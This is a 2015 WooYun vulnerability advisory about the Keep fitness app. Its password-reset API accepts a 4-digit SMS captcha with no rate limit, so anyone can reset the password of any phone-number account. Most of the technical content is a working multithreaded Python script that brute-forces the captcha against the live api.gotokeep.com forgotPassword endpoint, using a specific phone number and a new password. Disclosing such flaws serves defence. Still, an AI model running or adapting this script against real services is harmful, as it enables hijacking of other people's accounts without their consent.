当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0114993

漏洞标题:Keep移动健身APP存在任意手机帐号找回

相关厂商:Keep移动健身

漏洞作者: c26

提交时间:2015-05-20 18:45

修复时间:2015-07-04 18:46

公开时间:2015-07-04 18:46

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:10

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-05-20: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-07-04: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

任意手机帐号找回

详细说明:

另外注册接口没有尝试 自行检查
反编译定位到接口地址。

api.png


后来测试发现http也是可以使用的。

post.png


构造post参数

]IPFV]MBX]$GW8CLW_3DO2N.png


当code为1时表示修改成功

Screenshot_2015-05-19-18-36-23.png


然后写了个python脚本跑了下

26PYA`SR[D6M`_FMXB)NHS3.png


附上py脚本:

#!/usr/bin/python
#encoding:utf-8
import sys
import requests
import re
import urllib2
import threading
from time import sleep, ctime, time
import json
reload(sys)
sys.setdefaultencoding('utf-8')
def crack():
url = 'https://api.gotokeep.com/v1.1/users/forgotPassword'
data = {'mobile': '15899600256', 'captcha': '4864', 'password': '77778888'}
for x in xrange(1000, 10000):
data['captcha'] = x
html = requests.post(url, data = data).text
j = json.loads(html)
code = j['errorCode']
if code == 0:
print 'success', str(x), code
else:
print str(x), code
loops = range(1, 5)
def main():
print 'start'
threads = []
nloops = range(len(loops))
for i in nloops:
t = threading.Thread(target = crack)
threads.append(t)
for i in nloops:
threads[i].start()
for i in nloops:
threads[i].join()
if __name__ == '__main__':
t1 = time()
main()
t2 = time()
print t2 - t1

漏洞证明:

Screenshot_2015-05-19-18-36-23.png


26PYA`SR[D6M`_FMXB)NHS3.png

修复方案:

访问频率限制。

版权声明:转载请注明来源 c26@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝